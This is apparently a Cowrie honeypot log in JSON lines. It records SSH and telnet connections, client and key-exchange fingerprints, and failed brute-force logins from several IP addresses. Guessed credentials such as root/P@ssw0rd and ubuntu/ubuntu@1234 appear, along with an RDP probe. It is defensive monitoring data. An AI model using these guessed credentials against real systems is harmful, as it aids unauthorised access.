{"eventid":"cowrie.login.failed","username":"root","fingerprint":"74:98:70:b8:df:c6:c2:77:5f:22:01:e7:70:32:2f:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDC6YzucVRoVFDUEF5FpefzyLmzC8L++Jc+cOCc4+p7BmsYBxJJEGWPvCW+agurHkSVS3eUuaFA6Z6M95PgT7c4G3awg0aUqSylTcbx1BvOYQsyBWeasTKL/58pjgLYplGTiuNpnVjYZo/8nyakow+S2SlG4Xm2A80e+cuafHCsdM0DoxSOBb4Dsj5w0oEbpxS14Fr7pP7cQShLHHd186cSXusTj2mG09P6SdLnGEAts8ewnu9SnYhdbcv0//l28aPdvHzHNnC2XlT8u1e6fgbuPJn7lvN3vqwDdl1vWYg+8+7HBKb1cbLnQc5Rb4tHxLrDadqQRhRybAZwkgyaRCJb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:21.210387Z","src_ip":"154.16.119.22","session":"cec48c220f9d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"05:d1:62:07:9c:4e:6f:a3:a0:47:15:f3:7c:99:98:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDus2hJe4PKvznS0GDXm2nyX6w1QCNYJwXvM2Hx0VFidQW8Ws3v2jepHWeDBQdkEkyGCfo1vHJkHmIusuUfGTuvTCjnmqlEhqwA2QOhhrDcSl1ofzzHqP999rynpeNEcPIWAQmhU4mtJsm68E1Nc1DaUaollMrMzk8mMfhS/mmDqbrE6p6CDRVu18rGknATwBQ6TnyxndEmcZyyC8hsxxgdFxYZqbj1nwwdu9CDkVsGnBSf2eQDEsnJhcOrRhS9sRJNhXIfx7POYmKVuTo7gFo6KhLS4sERqW2S5zRVoFaySB0Eh7yybZESvU/fug3M8Wy5NVBm0TITQLneocutzx93","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 05:d1:62:07:9c:4e:6f:a3:a0:47:15:f3:7c:99:98:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:21.238150Z","src_ip":"154.16.119.22","session":"cec48c220f9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"05:d1:62:07:9c:4e:6f:a3:a0:47:15:f3:7c:99:98:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDus2hJe4PKvznS0GDXm2nyX6w1QCNYJwXvM2Hx0VFidQW8Ws3v2jepHWeDBQdkEkyGCfo1vHJkHmIusuUfGTuvTCjnmqlEhqwA2QOhhrDcSl1ofzzHqP999rynpeNEcPIWAQmhU4mtJsm68E1Nc1DaUaollMrMzk8mMfhS/mmDqbrE6p6CDRVu18rGknATwBQ6TnyxndEmcZyyC8hsxxgdFxYZqbj1nwwdu9CDkVsGnBSf2eQDEsnJhcOrRhS9sRJNhXIfx7POYmKVuTo7gFo6KhLS4sERqW2S5zRVoFaySB0Eh7yybZESvU/fug3M8Wy5NVBm0TITQLneocutzx93","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:21.242045Z","src_ip":"154.16.119.22","session":"cec48c220f9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:21.272882Z","src_ip":"154.16.119.22","session":"cec48c220f9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.28941345214844,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:21.635436Z","src_ip":"152.42.224.71","session":"a4694e6b198a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59350,"dst_ip":"10.17.0.5","dst_port":23,"session":"25fda05cbeae","protocol":"telnet","message":"New connection: 152.42.224.71:59350 (10.17.0.5:23) [session: 25fda05cbeae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:23.004615Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59354,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a818ecab700","protocol":"telnet","message":"New connection: 152.42.224.71:59354 (10.17.0.5:23) [session: 5a818ecab700]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:23.196887Z"}
{"eventid":"cowrie.session.closed","duration":120.00384187698364,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:25.693999Z","src_ip":"152.42.224.71","session":"097aff4f5c2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":50344,"dst_ip":"159.203.135.109","dst_port":22,"session":"136ae88db5c3","protocol":"ssh","message":"New connection: 31.40.204.166:50344 (159.203.135.109:22) [session: 136ae88db5c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:26.681916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:26.710960Z","src_ip":"31.40.204.166","session":"136ae88db5c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:26.816949Z","src_ip":"31.40.204.166","session":"136ae88db5c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00106596946716,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:26.877896Z","src_ip":"152.42.224.71","session":"2c9ea0e9fe56","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"0","message":"login attempt [root/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:27.386486Z","src_ip":"31.40.204.166","session":"136ae88db5c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:28.510419Z","src_ip":"31.40.204.166","session":"136ae88db5c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45476,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c9e21f0a795","protocol":"telnet","message":"New connection: 152.42.224.71:45476 (10.17.0.5:23) [session: 9c9e21f0a795]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:29.258876Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45482,"dst_ip":"10.17.0.5","dst_port":23,"session":"7360cf129238","protocol":"telnet","message":"New connection: 152.42.224.71:45482 (10.17.0.5:23) [session: 7360cf129238]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:30.266843Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45498,"dst_ip":"10.17.0.5","dst_port":23,"session":"c85ef72c18de","protocol":"telnet","message":"New connection: 152.42.224.71:45498 (10.17.0.5:23) [session: c85ef72c18de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:30.338568Z"}
{"eventid":"cowrie.session.closed","duration":47.07020974159241,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:30.942318Z","src_ip":"152.42.224.71","session":"87d330742765","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45508,"dst_ip":"10.17.0.5","dst_port":23,"session":"af5d14edf0ed","protocol":"telnet","message":"New connection: 152.42.224.71:45508 (10.17.0.5:23) [session: af5d14edf0ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:33.590103Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45510,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0ca305c52a1","protocol":"telnet","message":"New connection: 152.42.224.71:45510 (10.17.0.5:23) [session: f0ca305c52a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:35.418562Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45526,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d021ed7f3be","protocol":"telnet","message":"New connection: 152.42.224.71:45526 (10.17.0.5:23) [session: 1d021ed7f3be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:35.437043Z"}
{"eventid":"cowrie.session.closed","duration":37.162760972976685,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:36.080812Z","src_ip":"152.42.224.71","session":"33d037eab666","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":53939,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f3c4405e042","protocol":"ssh","message":"New connection: 152.42.212.128:53939 (159.203.135.109:22) [session: 9f3c4405e042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:36.665118Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:36.669940Z","src_ip":"152.42.212.128","session":"9f3c4405e042","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:36.673512Z","src_ip":"152.42.212.128","session":"9f3c4405e042","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.77740693092346,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:37.681778Z","src_ip":"152.42.224.71","session":"5a5d80153223","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":60370,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2d5a8e3f11f","protocol":"ssh","message":"New connection: 31.40.204.166:60370 (159.203.135.109:22) [session: a2d5a8e3f11f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:37.687070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:37.696399Z","src_ip":"31.40.204.166","session":"a2d5a8e3f11f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:37.818032Z","src_ip":"31.40.204.166","session":"a2d5a8e3f11f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@1234","message":"login attempt [ubuntu/ubuntu@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:38.489750Z","src_ip":"31.40.204.166","session":"a2d5a8e3f11f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.886553764343262,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:39.145300Z","src_ip":"152.42.224.71","session":"9c9e21f0a795","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:39.621903Z","src_ip":"31.40.204.166","session":"a2d5a8e3f11f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.22065329551697,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:41.069610Z","src_ip":"152.42.224.71","session":"48bd405426e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.833194255828857,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:41.270121Z","src_ip":"152.42.224.71","session":"1d021ed7f3be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34682,"dst_ip":"10.17.0.5","dst_port":23,"session":"c270c3e95372","protocol":"telnet","message":"New connection: 152.42.224.71:34682 (10.17.0.5:23) [session: c270c3e95372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:43.322173Z"}
{"eventid":"cowrie.session.closed","duration":37.79889702796936,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:44.599360Z","src_ip":"152.42.224.71","session":"6eafd3eef544","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34690,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f8cc5b4ee9f","protocol":"telnet","message":"New connection: 152.42.224.71:34690 (10.17.0.5:23) [session: 0f8cc5b4ee9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:44.946599Z"}
{"eventid":"cowrie.session.closed","duration":34.095277309417725,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:45.249933Z","src_ip":"152.42.224.71","session":"1d5497129d9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59370,"dst_ip":"10.17.0.5","dst_port":23,"session":"99b9d4172789","protocol":"telnet","message":"New connection: 152.42.224.71:59370 (10.17.0.5:23) [session: 99b9d4172789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:46.210660Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.36.79","src_port":33148,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ea1c6fff463","protocol":"ssh","message":"New connection: 103.82.36.79:33148 (10.17.0.5:22) [session: 4ea1c6fff463]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:47.034457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:47.040915Z","src_ip":"103.82.36.79","session":"4ea1c6fff463","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:47.376657Z","src_ip":"103.82.36.79","session":"4ea1c6fff463","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":56730,"dst_ip":"159.203.135.109","dst_port":22,"session":"c481b2ab616f","protocol":"ssh","message":"New connection: 31.40.204.166:56730 (159.203.135.109:22) [session: c481b2ab616f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:48.396507Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:48.528520Z","src_ip":"103.82.36.79","session":"4ea1c6fff463","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:48.607125Z","src_ip":"31.40.204.166","session":"c481b2ab616f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:48.613209Z","src_ip":"31.40.204.166","session":"c481b2ab616f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:49.231708Z","src_ip":"31.40.204.166","session":"c481b2ab616f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:50.180303Z","src_ip":"103.82.36.79","session":"4ea1c6fff463","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:50.424633Z","src_ip":"31.40.204.166","session":"c481b2ab616f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57238,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e8c43c6c4e8","protocol":"telnet","message":"New connection: 152.42.224.71:57238 (10.17.0.5:23) [session: 1e8c43c6c4e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:52.334621Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57250,"dst_ip":"10.17.0.5","dst_port":23,"session":"7384f33dda2c","protocol":"telnet","message":"New connection: 152.42.224.71:57250 (10.17.0.5:23) [session: 7384f33dda2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:53.355637Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57264,"dst_ip":"10.17.0.5","dst_port":23,"session":"14256f791e80","protocol":"telnet","message":"New connection: 152.42.224.71:57264 (10.17.0.5:23) [session: 14256f791e80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:55.021030Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57268,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c84a21ab71b","protocol":"telnet","message":"New connection: 152.42.224.71:57268 (10.17.0.5:23) [session: 0c84a21ab71b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:55.361847Z"}
{"eventid":"cowrie.session.closed","duration":43.91488242149353,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:57.561918Z","src_ip":"152.42.224.71","session":"3dcfeb522032","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":56182,"dst_ip":"159.203.135.109","dst_port":22,"session":"850dfe92d5c1","protocol":"ssh","message":"New connection: 31.40.204.166:56182 (159.203.135.109:22) [session: 850dfe92d5c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:59.516995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:48:59.525842Z","src_ip":"31.40.204.166","session":"850dfe92d5c1","protocol":"ssh"}
